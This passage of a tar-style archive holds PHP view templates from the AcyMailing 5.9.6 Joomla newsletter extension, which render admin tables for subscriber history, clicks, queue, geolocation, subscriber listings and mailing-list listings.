									<?php echo acymailing_translation('ACY_NUM'); ?>
								</th>
								<th class="title titledate">
									<?php echo acymailing_translation('CLICK_DATE'); ?>
								</th>
								<th class="title">
									<?php echo acymailing_translation('JOOMEXT_SUBJECT'); ?>
								</th>
								<th class="title">
									<?php echo acymailing_translation('URL'); ?>
								</th>
								<th class="title titletoggle">
									<?php echo acymailing_translation('TOTAL_HITS'); ?>
								</th>
							</tr>
							</thead>
							<tbody>
							<?php
							$k = 0;

							for($i = 0, $a = count($this->clicks); $i < $a; $i++){
								$row =& $this->clicks[$i];
								$row->subject = acyEmoji::Decode($row->subject);
								$id = 'urlclick'.$i;
								?>
								<tr class="<?php echo "row$k"; ?>" id="<?php echo $id; ?>">
									<td align="center" style="text-align:center">
										<?php echo $i + 1; ?>
									</td>
									<td>
										<?php echo acymailing_getDate($row->date); ?>
									</td>
									<td>
										<?php
										$text = '<b>'.acymailing_translation('ACY_ID').' : </b>'.$row->mailid;
										echo acymailing_tooltip($text, $row->subject, '', $row->subject);
										?>
									</td>
									<td>
										<a target="_blank" href="<?php echo strip_tags($row->url); ?>"><?php echo $row->urlname; ?></a>
									</td>
									<td align="center" style="text-align:center">
										<?php echo $row->click; ?>
									</td>
								</tr>
								<?php
								$k = 1 - $k;
							}
							?>
							</tbody>
						</table>
					</div>

					<?php echo $tabs->endPanel();
				}

				if(!empty($this->queue)){
					echo $tabs->startPanel(acymailing_translation('QUEUE'), 'user_queue'); ?>

					<div>
						<table class="acymailing_table">
							<thead>
							<tr>
								<th class="title titlenum">
									<?php echo acymailing_translation('ACY_NUM'); ?>
								</th>
								<th class="title titledate">
									<?php echo acymailing_translation('SEND_DATE'); ?>
								</th>
								<th class="title">
									<?php echo acymailing_translation('JOOMEXT_SUBJECT'); ?>
								</th>
								<th class="title titlenum">
									<?php echo acymailing_translation('PRIORITY'); ?>
								</th>
								<th class="title titlenum">
									<?php echo acymailing_translation('TRY'); ?>
								</th>
								<th class="title titletoggle">
									<?php echo acymailing_translation('ACY_DELETE'); ?>
								</th>
							</tr>
							</thead>
							<tbody>
							<?php
							$k = 0;

							for($i = 0, $a = count($this->queue); $i < $a; $i++){
								$row =& $this->queue[$i];
								$row->subject = acyEmoji::Decode($row->subject);
								$id = 'queue'.$i;
								?>
								<tr class="<?php echo "row$k"; ?>" id="<?php echo $id; ?>">
									<td align="center" style="text-align:center">
										<?php echo $i + 1; ?>
									</td>
									<td>
										<?php echo acymailing_getDate($row->senddate); ?>
									</td>
									<td>
										<?php
										$text = '<b>'.acymailing_translation('ACY_ID').' : </b>'.$row->mailid;
										echo acymailing_tooltip($text, $row->subject, '', $row->subject);
										?>
									</td>
									<td align="center" style="text-align:center">
										<?php echo $row->priority; ?>
									</td>
									<td align="center" style="text-align:center">
										<?php echo $row->try; ?>
									</td>
									<td align="center" style="text-align:center">
										<?php echo $this->toggleClass->delete($id, $row->subid.'_'.$row->mailid, 'queue'); ?>
									</td>
								</tr>
								<?php
								$k = 1 - $k;
							}
							?>
							</tbody>
						</table>
					</div>

					<?php echo $tabs->endPanel();
				}

				if(!empty($this->history)){
					echo $tabs->startPanel(acymailing_translation('ACY_HISTORY'), 'user_history');
					?>

					<div>
						<table class="acymailing_table">
							<thead>
							<tr>
								<th class="title titlenum">
									<?php echo acymailing_translation('ACY_NUM'); ?>
								</th>
								<th class="title titledate">
									<?php echo acymailing_translation('FIELD_DATE'); ?>
								</th>
								<th class="title">
									<?php echo acymailing_translation('ACY_ACTION'); ?>
								</th>
								<th class="title">
									<?php echo acymailing_translation('ACY_DETAILS'); ?>
								</th>
								<th class="title">
									<?php echo acymailing_translation('IP'); ?>
								</th>
								<th class="title" width="30%">
									<?php echo acymailing_translation('ACY_SOURCE'); ?>
								</th>
							</tr>
							</thead>
							<tbody>
							<?php
							$k = 0;

							for($i = 0, $a = count($this->history); $i < $a; $i++){
								$row =& $this->history[$i];
								?>
								<tr class="<?php echo "row$k"; ?>">
									<td align="center" style="text-align:center" valign="top">
										<?php echo $i + 1; ?>
									</td>
									<td align="center" style="text-align:center">
										<?php echo acymailing_getDate($row->date); ?>
									</td>
									<td valign="top">
										<?php echo acymailing_translation('ACTION_'.strtoupper($row->action)); ?>
									</td>
									<td valign="top">
										<?php
										if(!empty($row->data)){
											$data = explode("\n", $row->data);
											$id = 'history_details'.$i;
											echo '<div style="cursor:pointer;text-align:center" onclick="if(document.getElementById(\''.$id.'\').style.display == \'none\'){document.getElementById(\''.$id.'\').style.display = \'block\'}else{document.getElementById(\''.$id.'\').style.display = \'none\'}">'.acymailing_translation('VIEW_DETAILS').'</div>';
											echo '<div id="'.$id.'" style="display:none">';
											if(!empty($row->mailid)) echo '<b>'.acymailing_translation('NEWSLETTER').' : </b>'.$this->escape($row->subject).' ( '.acymailing_translation('ACY_ID').' : '.$row->mailid.' )<br />';
											foreach($data as $value){
												if(!strpos($value, '::')){
													echo $value;
													continue;
												}
												list($part1, $part2) = explode("::", $value);
												if(preg_match('#^[A-Z_]*$#', $part2)) $part2 = acymailing_translation($part2);
												echo '<b>'.$this->escape(acymailing_translation($part1)).' : </b>'.$this->escape($part2).'<br />';
											}
											echo '</div>';
										}
										?>
									</td>
									<td valign="top">
										<?php echo $row->ip ?>
									</td>
									<td valign="top">
										<?php
										if(!empty($row->source)){
											$id = 'history_source'.$i;
											$source = explode("\n", $row->source);
											echo '<div style="cursor:pointer;text-align:center" onclick="if(document.getElementById(\''.$id.'\').style.display == \'none\'){document.getElementById(\''.$id.'\').style.display = \'block\'}else{document.getElementById(\''.$id.'\').style.display = \'none\'}">'.acymailing_translation('VIEW_DETAILS').'</div>';
											echo '<div id="'.$id.'" style="display:none">';
											foreach($source as $value){
												if(!strpos($value, '::')) continue;
												list($part1, $part2) = explode("::", $value);
												echo '<b>'.$this->escape($part1).' : </b>'.$this->escape($part2).'<br />';
											}
											echo '</div>';
										}
										?>
									</td>
								</tr>
								<?php
								$k = 1 - $k;
							}
							?>
							</tbody>
						</table>
					</div>
					<?php
					echo $tabs->endPanel();
				}

				if(!empty($this->geoloc) && !empty($google_map_api_key)){
					echo $tabs->startPanel('<span onclick="setTimeout(function(){chart.draw(data, mapOptions)},100);">'.acymailing_translation('GEOLOCATION').'</span>', 'geoloc');
					?>
					<div>
						<div id="mapGeoloc_div" style="width:900px; max-width:100%; float:left; padding-right:20px;"></div>
						<div style="float:left; min-width:400px; max-width:800px;">
							<table class="acymailing_table">
								<thead>
								<tr>
									<th class="title titledate">
										<?php echo acymailing_translation('FIELD_DATE'); ?>
									</th>
									<th class="title">
										<?php echo acymailing_translation('ACY_ACTION'); ?>
									</th>
									<th class="title">
										<?php echo acymailing_translation('COUNTRYCAPTION'); ?>
									</th>
									<th class="title">
										<?php echo acymailing_translation('STATECAPTION'); ?>
									</th>
									<th class="title">
										<?php echo acymailing_translation('CITYCAPTION'); ?>
									</th>
									<th class="title">
										<?php echo acymailing_translation('IP'); ?>
									</th>
								</tr>
								</thead>
								<tbody>
								<?php
								$k = 0;
								foreach($this->geoloc as $action){
									?>
									<tr class="<?php echo "row$k"; ?>">
										<td align="center" style="text-align:center" valign="top">
											<?php echo acymailing_getDate($action->geolocation_created); ?>
										</td>
										<td valign="top">
											<?php echo $this->escape($action->geolocation_type); ?>
										</td>
										<td valign="top">
											<?php echo $this->escape($action->geolocation_country); ?>
										</td>
										<td valign="top">
											<?php echo $this->escape($action->geolocation_state); ?>
										</td>
										<td valign="top">
											<?php echo $this->escape($action->geolocation_city); ?>
										</td>
										<td valign="top">
											<?php echo $this->escape($action->geolocation_ip); ?>
										</td>
									</tr>
									<?php
									$k = 1 - $k;
								}
								?>
								<tbody>
							</table>
						</div>
						<div style="clear: both"></div>
					</div>
					<?php
					echo $tabs->endPanel();
				}

				if(!empty($this->neighbours)){
					echo $tabs->startPanel(acymailing_translation('ACY_NEIGHBOUR'), 'user_neighbour');
					?>

					<div>
						<table class="acymailing_table">
							<thead>
							<tr>
								<th class="title titlenum">
									<?php echo acymailing_translation('ACY_NUM'); ?>
								</th>
								<th class="title">
									<?php echo acymailing_translation('JOOMEXT_NAME'); ?>
								</th>
								<th class="title">
									<?php echo acymailing_translation('JOOMEXT_EMAIL'); ?>
								</th>
								<th class="title titleid">
									<?php echo acymailing_translation('ACY_ID'); ?>
								</th>
							</tr>
							</thead>
							<tbody>
							<?php
							$k = 0;
							foreach($this->neighbours as $num => $oneNeighbour){
								?>
								<tr class="<?php echo "row$k"; ?>">
									<td align="center" style="text-align:center" valign="top">
										<?php echo($num + 1) ?>
									</td>
									<td valign="top">
										<?php echo $this->escape($oneNeighbour->name); ?>
									</td>
									<td valign="top">
										<?php echo '<a href="'.acymailing_completeLink('subscriber&task=edit&subid='.$oneNeighbour->subid).'" target="_blank">'.$this->escape($oneNeighbour->email).'</a>'; ?>
									</td>
									<td align="center" style="text-align:center" valign="top">
										<?php echo $oneNeighbour->subid; ?>
									</td>
								</tr>
								<?php
								$k = 1 - $k;
							} ?>
							</tbody>
						</table>
					</div>
					<?php
					echo $tabs->endPanel();
				}
				echo $tabs->endPane(); ?>
			</div>
		</div>
		<div class="clr"></div>
	</form>
</div>
com_acymailing/views/subscriber/tmpl/listing.php000060400000021434152455305300016157 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content" class="acysubscriberlisting">
	<div id="iframedoc"></div>
	<form action="<?php echo acymailing_completeLink(acymailing_getVar('cmd', 'ctrl')); ?>" method="post" name="adminForm" id="adminForm">
		<table width="100%" class="acymailing_table_options">
			<tr>
				<td id="subscriberfilter" style="min-width:325px;">
					<?php acymailing_listingsearch($this->pageInfo->search); ?>
				</td>
				<td align="right">
					<?php
					if(!empty($this->filterFields)){
						foreach($this->filterFields as $oneField){
							echo '<span class="subscriber_filter">'.$oneField.'</span> ';
						}
					}
					?>
					<span class="subscriber_filter" id="subscriberfilterstatus"><?php echo $this->filters->status; ?></span>
					<span class="subscriber_filter" id="subscriberfilterlists"><?php echo $this->filters->lists; ?></span>
					<?php if(!empty($this->filters->statuslist)){ ?><span class="subscriber_filter" id="subscriberfilterlistsstatus"><?php echo $this->filters->statuslist; ?></span><?php } ?>
				</td>
			</tr>
		</table>
		<table class="acymailing_table">
			<thead>
			<tr>
				<th class="title titlenum">
					<?php echo acymailing_translation('ACY_NUM'); ?>
				</th>
				<th class="title titlebox">
					<input type="checkbox" name="toggle" value="" onclick="acymailing.checkAll(this);"/>
				</th>
				<?php
				foreach($this->displayFields as $map => $oneField){
					if($map == 'html') continue; ?>
					<th class="title" style="text-align: left;<?php echo $map == 'name' ? 'width: 200px;' : ''; ?>">
						<?php echo acymailing_gridSort($this->customFields->trans($oneField->fieldname), 'a.'.$map, $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
					</th>
				<?php } ?>
				<?php
				if(acymailing_isAdmin()){ ?>
					<th class="title" style="text-align: left;">
						<?php echo acymailing_translation('SUBSCRIPTION'); ?>
					</th>
				<?php } ?>
				<th class="title titledate">
					<?php echo acymailing_gridSort(acymailing_translation('CREATED_DATE'), 'a.created', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
				</th>
				<?php
				if(acymailing_isAdmin()){
					if(!empty($this->displayFields['html'])){ ?>
						<th class="title titletoggle">
							<?php echo acymailing_gridSort(acymailing_translation('RECEIVE_HTML'), 'a.html', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
						</th>
					<?php } ?>
					<?php if($this->config->get('require_confirmation', 1)){ ?>
						<th class="title titletoggle">
							<?php echo acymailing_gridSort(acymailing_translation('CONFIRMED'), 'a.confirmed', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
						</th>
					<?php } ?>
					<th class="title titletoggle">
						<?php echo acymailing_gridSort(acymailing_translation('ENABLED'), 'a.enabled', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
					</th>
					<th class="title titleid">
						<?php echo acymailing_gridSort(acymailing_translation('USER_ID'), 'a.userid', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
					</th>
					<th class="title titleid">
						<?php echo acymailing_gridSort(acymailing_translation('ACY_ID'), 'a.subid', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
					</th>
				<?php } ?>
			</tr>
			</thead>
			<tfoot>
			<tr>
				<td colspan="<?php echo acymailing_isAdmin() ? count($this->displayFields) + 9 : count($this->displayFields) + 3; ?>">
					<?php echo $this->pagination->getListFooter();
					echo $this->pagination->getResultsCounter(); ?>
				</td>
			</tr>
			</tfoot>
			<tbody>
			<?php
			$k = 0;
			$i = 0;
			foreach($this->rows as $row){
				$confirmedid = 'confirmed_'.$row->subid;
				$htmlid = 'html_'.$row->subid;
				$enabledid = 'enabled_'.$row->subid;
				?>
				<tr class="<?php echo "row$k"; ?>">
					<td align="center" style="text-align:center">
						<?php echo $this->pagination->getRowOffset($i); ?>
					</td>
					<td align="center" style="text-align:center">
						<?php echo acymailing_gridID($i, $row->subid); ?>
					</td>
					<?php
					$this->customFields->currentUser = $row;
					foreach($this->displayFields as $map => $oneField){
						if($map == 'html') continue; ?>
						<td class="columnclass<?php echo $map; ?>">
							<?php
							if($map == 'email'){
								echo '<a href="'.acymailing_completeLink(acymailing_getVar('cmd', 'ctrl').'&task=edit&subid='.$row->subid).'">';
								echo acymailing_punycode($this->customFields->listing($oneField, @$row->$map, $this->pageInfo->search), 'emailToUTF8');
								echo '</a>';
							}else {
								echo $this->customFields->listing($oneField, @$row->$map, $this->pageInfo->search);
							}
							?>
						</td>
					<?php }
					if(acymailing_isAdmin()){
						?>
						<td align="right">

							<?php
							if(empty($row->accept)){
								echo '<div class="icon-16-refuse" >'.acymailing_tooltip(acymailing_translation('USER_REFUSE', true), '', '', '&nbsp;&nbsp;&nbsp;&nbsp;').'</div>';
							}

							foreach($this->lists as $listid => $list){
								if(empty($row->subscription->$listid)) continue;
								$statuslistid = 'status_'.$listid.'_'.$row->subid;
								echo '<div id="'.$statuslistid.'" class="loading"  onclick="hideTooltip()">';
								$extra = array();
								$extra['color'] = $this->lists[$listid]->color;
								$extra['tooltiptitle'] = $this->lists[$listid]->name;
								$extra['tooltip'] = '<b>'.acymailing_translation('LIST_NAME').' : </b>'.$this->lists[$listid]->name.'<br />';
								if($row->subscription->$listid->status > 0){
									$extra['tooltip'] .= '<b>'.acymailing_translation('STATUS').' : </b>';
									$extra['tooltip'] .= ($row->subscription->$listid->status == '1') ? acymailing_translation('SUBSCRIBED') : acymailing_translation('PENDING_SUBSCRIPTION');
									$extra['tooltip'] .= '<br /><b>'.acymailing_translation('SUBSCRIPTION_DATE').' : </b>'.acymailing_getDate($row->subscription->$listid->subdate);
								}else{
									$extra['tooltip'] .= '<b>'.acymailing_translation('STATUS').' : </b>'.acymailing_translation('UNSUBSCRIBED').'<br />';
									$extra['tooltip'] .= '<b>'.acymailing_translation('UNSUBSCRIPTION_DATE').' : </b>'.acymailing_getDate($row->subscription->$listid->unsubdate);
								}

								echo $this->toggleClass->toggle($statuslistid, $row->subscription->$listid->status, 'listsub', $extra);
								echo '</div>';
							}

							?>
						</td>
					<?php } ?>
					<td align="center" style="text-align:center" class="valuedate">
						<?php echo acymailing_getDate($row->created); ?>
					</td>

					<?php if(acymailing_isAdmin()){
						if(!empty($this->displayFields['html'])){ ?>
							<td align="center" style="text-align:center">
								<span id="<?php echo $htmlid ?>" class="loading"><?php echo $this->toggleClass->toggle($htmlid, $row->html, 'subscriber') ?></span>
							</td>
						<?php } ?>
						<?php if($this->config->get('require_confirmation', 1)){ ?>
							<td align="center" style="text-align:center">
								<span id="<?php echo $confirmedid ?>" class="loading"><?php echo $this->toggleClass->toggle($confirmedid, $row->confirmed, 'subscriber') ?></span>
							</td>
						<?php } ?>
						<td align="center" style="text-align:center">
							<span id="<?php echo $enabledid ?>" class="loading"><?php echo $this->toggleClass->toggle($enabledid, $row->enabled, 'subscriber') ?></span>
						</td>
						<td align="center">
							<?php
							if(!empty($row->userid)){
								$text = acymailing_translation('ACY_USERNAME').' : <b>'.acymailing_dispSearch($row->username, $this->pageInfo->search);
								$text .= '</b><br />'.acymailing_translation('USER_ID').' : <b>'.acymailing_dispSearch($row->userid, $this->pageInfo->search).'</b>';
								echo acymailing_tooltip($text, acymailing_dispSearch($row->username, $this->pageInfo->search), '', acymailing_dispSearch($row->userid, $this->pageInfo->search), acymailing_userEditLink().$row->userid);
							} ?>
						</td>
						<td align="center">
							<?php echo acymailing_dispSearch($row->subid, $this->pageInfo->search); ?>
						</td>
					<?php } ?>
				</tr>
				<?php
				$k = 1 - $k;
				$i++;
			}
			?>
			</tbody>
		</table>

		<?php if(!empty($this->Itemid)) echo '<input type="hidden" name="Itemid" value="'.$this->Itemid.'" />';
		acymailing_formOptions($this->pageInfo->filter->order); ?>
	</form>
	<script type="text/javascript">
		function hideTooltip(){
			var nodes = document.getElementsByClassName('tooltip');
			for(var i = 0; i < nodes.length; i++){
				nodes[i].style.display = 'none';
			}
		}
	</script>
</div>
com_acymailing/views/subscriber/tmpl/index.html000060400000000054152455305300015765 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/list/index.html000060400000000054152455305300013621 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/list/tmpl/listing.php000060400000016431152455305300014770 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content" class="acylistlisting">
	<div id="iframedoc"></div>
	<?php $saveOrder = $this->pageInfo->filter->order->value == 'a.ordering' && strtolower($this->pageInfo->filter->order->dir) == 'asc'; ?>
	<form action="<?php echo acymailing_completeLink(acymailing_getVar('cmd', 'ctrl')); ?>" method="post" name="adminForm" id="adminForm">
		<table class="acymailing_table_options">
			<?php if(acymailing_isAdmin()){ ?>
				<tr>
					<td width="100%">
						<?php acymailing_listingsearch($this->pageInfo->search); ?>
					</td>
					<td nowrap="nowrap">
						<?php echo $this->filters->category; ?>
						<?php echo $this->filters->creator; ?>
					</td>
				</tr>
			<?php }else{ ?>
				<tr>
					<td nowrap="nowrap" width="100%">
						<?php acymailing_listingsearch($this->pageInfo->search); ?>
					</td>
					<td>
						<?php echo $this->filters->category; ?>
					</td>
				</tr>
				<tr>
					<td></td>
					<td>
						<?php echo $this->filters->creator; ?>
					</td>
				</tr>
			<?php } ?>
		</table>

		<table class="acymailing_table" cellpadding="1" id="listListing">
			<thead>
				<tr>
					<th class="title titlenum">
						<?php echo acymailing_translation('ACY_NUM'); ?>
					</th>
					<?php if(acymailing_isAdmin()){ ?>
						<th class="title titleorder" style="width:32px !important; padding-left:1px; padding-right:1px;">
							<?php echo acymailing_gridSort('<i class="icon-menu-2"></i>', 'a.ordering', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value, null, 'asc', 'JGRID_HEADING_ORDERING'); ?>
						</th>
					<?php } ?>
					<th class="title titlebox">
						<input type="checkbox" name="toggle" value="" onclick="acymailing.checkAll(this);"/>
					</th>
					<th class="title titlecolor">

					</th>
					<th class="title">
						<?php echo acymailing_gridSort(acymailing_translation('LIST_NAME'), 'a.name', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
					</th>
					<th class="title titlelink">
						<?php echo acymailing_translation('SUBSCRIBERS'); ?>
					</th>
					<th class="title titlelink">
						<?php echo acymailing_translation('UNSUBSCRIBERS'); ?>
					</th>
					<th class="title titlesender">
						<?php echo acymailing_gridSort(acymailing_translation('CREATOR'), 'd.name', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
					</th>
					<?php if(acymailing_isAdmin()){ ?>
					<th class="title titletoggle">
						<?php echo acymailing_gridSort(acymailing_translation('JOOMEXT_VISIBLE'), 'a.visible', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
					</th>
					<th class="title titletoggle">
						<?php echo acymailing_gridSort(acymailing_translation('ENABLED'), 'a.published', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
					</th>
					<?php } ?>
					<th class="title titleid">
						<?php echo acymailing_gridSort(acymailing_translation('ACY_ID'), 'a.listid', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
					</th>
				</tr>
			</thead>
			<tfoot>
			<tr>
				<td colspan="12">
					<?php echo $this->pagination->getListFooter();
					echo $this->pagination->getResultsCounter(); ?>
				</td>
			</tr>
			</tfoot>
			<tbody id="acymailing_sortable_listing">
				<?php
				$k = 0;
				$ordering = '';
				for($i = 0 ; $i < count($this->rows); $i++){
					$row =& $this->rows[$i];
					$ordering .= ',"order['.$i.']='.$row->ordering.'"';

					$publishedid = 'published_'.$row->listid;
					$visibleid = 'visible_'.$row->listid;
					?>
					<tr class="<?php echo "row$k"; ?>" acyorderid="<?php echo $row->listid; ?>">
						<td align="center" style="text-align:center">
							<?php echo $this->pagination->getRowOffset($i); ?>
						</td>
						<?php if(acymailing_isAdmin()){ ?>
							<?php $iconClass = 'acyicon-draghandle';
							if(!$saveOrder) $iconClass .= ' acyinactive-handler" title="Sort the listing by ordering first'; ?>
							<td class="<?php echo $iconClass; ?>"><img alt="" src="<?php echo ACYMAILING_IMAGES; ?>icons/drag.png" /></td>
						<?php } ?>
						<td align="center" style="text-align:center">
							<?php echo acymailing_gridID($i, $row->listid); ?>
						</td>
						<td width="12">
							<?php echo '<div class="roundsubscrib rounddisp" style="background-color:'.$this->escape($row->color).'"></div>'; ?>
						</td>
						<td>
							<?php
							echo acymailing_tooltip($row->description, $row->name, 'tooltip.png', $row->name, acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'list&task=edit&listid='.$row->listid));
							?>
						</td>
						<td align="center" style="text-align:center">
							<a href="<?php echo acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'subscriber&filter_status=0&filter_statuslist=1&filter_lists='.$row->listid); ?>">
								<?php echo $row->nbsub; ?>
							</a>
							<?php if(!empty($row->nbwait)){
								echo '&nbsp;&nbsp;'; ?>
								<?php $title = '(+'.$row->nbwait.')';
								echo acymailing_tooltip(acymailing_translation('NB_PENDING'), ' ', 'tooltip.png', $title, acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'subscriber&filter_status=0&filter_statuslist=2&filter_lists='.$row->listid)); ?>
							<?php } ?>
						</td>
						<td align="center" style="text-align:center">
							<a href="<?php echo acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'subscriber&filter_status=0&filter_statuslist=-1&filter_lists='.$row->listid); ?>">
								<?php echo $row->nbunsub; ?>
							</a>
						</td>
						<td align="center" style="text-align:center">
							<?php
							if(!empty($row->userid)){
								$text = '<b>'.acymailing_translation('JOOMEXT_NAME').' : </b>'.$row->creatorname;
								$text .= '<br /><b>'.acymailing_translation('ACY_USERNAME').' : </b>'.$row->username;
								$text .= '<br /><b>'.acymailing_translation('JOOMEXT_EMAIL').' : </b>'.$row->email;
								$text .= '<br /><b>'.acymailing_translation('ACY_ID').' : </b>'.$row->userid;
								echo acymailing_tooltip($text, $row->creatorname, 'tooltip.png', $row->creatorname, acymailing_isAdmin() ? acymailing_userEditLink().$row->userid : '');
							}
							?>
						</td>
						<?php if(acymailing_isAdmin()){ ?>
						<td align="center" style="text-align:center">
							<span id="<?php echo $visibleid ?>" class="spanloading"><?php echo $this->toggleClass->toggle($visibleid, $row->visible, 'list') ?></span>
						</td>
						<td align="center" style="text-align:center">
							<span id="<?php echo $publishedid ?>" class="spanloading"><?php echo $this->toggleClass->toggle($publishedid, $row->published, 'list') ?></span>
						</td>
						<?php } ?>
						<td align="center" style="text-align:center">
							<?php echo $row->listid; ?>
						</td>
					</tr>
					<?php
					$k = 1 - $k;
				}
				?>
			</tbody>
		</table>

		<?php if(!empty($this->Itemid)) echo '<input type="hidden" name="Itemid" value="'.$this->Itemid.'" />'; ?>
		<?php acymailing_formOptions($this->pageInfo->filter->order); ?>
	</form>
</div>

<?php if($saveOrder) acymailing_sortablelist('list', ltrim($ordering, ',')); ?>
com_acymailing/views/list/tmpl/index.html000060400000000054152455305300014575 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/list/tmpl/filter.lists.php000060400000020662152455305300015742 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php if(count($this->lists) > 10){ ?>
	<script language="javascript" type="text/javascript">
		<!--
		function acymailing_searchAList(){
			var filter = document.getElementById("acymailing_searchList").value.toLowerCase();
			for(var i = 0; i <<?php echo count($this->lists); ?>; i++){
				var itemName = document.getElementById("listName_" + i).innerHTML.toLowerCase();
				if(itemName.indexOf(filter) > -1){
					document.getElementById("acylistrow_" + i).style.display = "table-row";
				}else{
					document.getElementById("acylistrow_" + i).style.display = "none";
				}
			}
		}
		//-->
	</script>
	<div style="margin-bottom:10px;"><input onkeyup="acymailing_searchAList();" type="text" style="width: 200px;max-width:100%;margin-bottom:5px;" placeholder="<?php echo acymailing_translation('ACY_SEARCH'); ?>" id="acymailing_searchList"></div>
<?php }

$k = 0;
$i = 0;

$orderedList = array();
$listsPerCategory = array();
$languages = array();
foreach($this->lists as $row){
	$orderedList[$row->category][$row->listid] = $row;
	$listsPerCategory[$row->category][$row->listid] = $row->listid;
	if(count($this->lists) < 4) continue;

	$languages['all'][$row->listid] = $row->listid;
	if($row->languages == 'all') continue;
	$lang = explode(',', trim($row->languages, ','));
	foreach($lang as $oneLang){
		$languages[strtolower($oneLang)][$row->listid] = $row->listid;
	}
}
ksort($orderedList);
$allCats = array_keys($orderedList);
$this->lists = array();
foreach($orderedList as $oneCategory){
	$this->lists = array_merge($this->lists, $oneCategory);
}

if($currentPage == 'export'){
	$possibleStatuses = array();
	$possibleStatuses[] = acymailing_selectOption("0", acymailing_translation('ACY_DONT_EXPORT'));
	$possibleStatuses[] = acymailing_selectOption("-1", acymailing_translation('ACTION_UNSUBSCRIBED'));
	$possibleStatuses[] = acymailing_selectOption("2", acymailing_translation('PENDING_SUBSCRIPTION'));
	$possibleStatuses[] = acymailing_selectOption("1", acymailing_translation('SUBSCRIBED'));

	if(!acymailing_isAdmin()){
		$possibleStatuses[0]->class = 'btn-danger';
		$possibleStatuses[1]->class = 'btn-success';
		$possibleStatuses[2]->class = 'btn-success';
		$possibleStatuses[3]->class = 'btn-success';
	}
}

echo '<table class="acymailing_table" id="lists_choice"><tbody>';

foreach($this->lists as $row){
	if(empty($row->category)) $row->category = acymailing_translation('ACY_NO_CATEGORY');
	if(count($allCats) > 1 && (empty($currentCatgeory) || $row->category != $currentCatgeory)){
		$currentCatgeory = $row->category; ?>
		<tr class="<?php echo "row$k"; ?>">
			<td colspan="2">
				<a href="#" onclick="checkCats('<?php echo htmlspecialchars(str_replace("'", "\'", $row->category == acymailing_translation('ACY_NO_CATEGORY') ? -1 : $row->category), ENT_QUOTES, "UTF-8"); ?>'); return false;"><strong><?php echo htmlspecialchars($row->category, ENT_QUOTES, "UTF-8"); ?></strong></a>
			</td>
		</tr>
	<?php }
	if($currentPage == 'export'){
		$checked = (empty($this->exportlist) && in_array($row->listid, $this->selectedlists)) ? 1 : 0;
	}elseif($currentPage == 'import'){
		$filter_lists = explode(',', rtrim(acymailing_getVar('string', 'filter_lists'), ','));
		if(!empty($row->campaign)){
			$checked = acymailing_getVar('cmd', 'importlists['.$row->listid.']', in_array($row->listid, $filter_lists) ? 2 : 0);
		}else{
			$checked = !empty($currentValues[$row->listid]) || in_array($row->listid, $filter_lists) || $listid == $row->listid ? 1 : 0;
		}
	}

	$classList = $checked ? 'acy_list_checked' : 'acy_list_unchecked';
	?>
	<tr id="acylistrow_<?php echo $i; ?>" class="<?php echo "row$k $classList"; ?>">
		<td style="display:none;" id="listId_<?php echo $i; ?>"><?php echo $row->listid; ?></td>
		<td style="display:none;" id="listName_<?php echo $i; ?>"><?php echo $row->name; ?></td>
		<td>
			<?php
			echo '<div class="roundsubscrib rounddisp" style="background-color:'.$row->color.'"></div>';
			$text = '<b>'.acymailing_translation('ACY_ID').' : </b>'.$row->listid;
			$text .= '<br />'.$row->description;
			echo acymailing_tooltip($text, $row->name, 'tooltip.png', $row->name);
			?>
		</td>
		<td nowrap="nowrap">
			<?php
			if($currentPage == 'export'){
				if(!empty($this->exportlist) && $this->exportlist == $row->listid){
					$checked = $this->exportliststatus;
					if($this->exportliststatus == -2) $checked = 0;
				}
				echo acymailing_radio($possibleStatuses, "exportlists[".$row->listid."]", '', 'value', 'text', $checked, $row->listid.'listmail');
			}elseif($currentPage == 'import'){
				if(!empty($row->campaign)){
					echo acymailing_radio($this->campaignValues, "importlists[".$row->listid."]", '', 'value', 'text', $checked, $row->listid.'listmail');
				}else{
					echo acymailing_radio($this->subscribeOptions, "importlists[".$row->listid."]", '', 'value', 'text', $checked, $row->listid.'listmail');
				}
			}
			?>
		</td>
	</tr>
	<?php
	$k = 1 - $k;
	$i++;
}
if(count($this->lists) > 3){ ?>
	<tr>
		<td></td>
		<td nowrap="nowrap">
			<script language="javascript" type="text/javascript">
				<!--
				var selectedLists = new Array();
				<?php
				foreach($languages as $val => $listids){
